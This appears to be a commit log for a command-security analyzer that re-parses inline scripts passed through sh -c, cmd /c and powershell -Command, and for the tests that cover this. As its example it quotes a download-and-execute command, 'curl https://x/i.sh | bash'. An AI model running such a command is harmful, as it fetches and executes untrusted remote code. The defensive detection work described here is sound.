Feature/inline subcommand analysis#3
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…ell -Command) Command strings passed to an interpreter via an inline flag were treated as opaque arguments, so a payload like `sh -c "curl https://x/i.sh | bash"` was only flagged highRisk (REVIEW) for the bare presence of `-c`, hiding the critical inner command. Parsers now re-parse the inline script into a nested AST exposed on the new `CommandInvocation.inlineCommand` field. As a child node it is reached by `walk()`, so every capability/effect/security detector and policy analyzes the inner command as if run directly — `sh -c "curl ... | bash"` now matches the bare `curl ... | bash` verdict (critical -> DENY). Covers POSIX shells (-c/--command, incl. bundled -ec), cmd /c|/k and powershell -Command across all three parsers via a shared inline_exec helper. Nesting is depth-bounded; powershell -EncodedCommand is left un-recursed (base64) and stays critical. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Add inline sub-command parser coverage for PowerShell (-Command, pwsh -c, -EncodedCommand/-enc exclusion) and Windows CMD (/c, /k, /C, quoted inner pipelines, argument rejoin), plus mixed pipe/chain operator and generic-syntax AST-structure tests. Asserts re-parsed inlineCommand, walk() reach and depth bounding. 335 -> 351 tests. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
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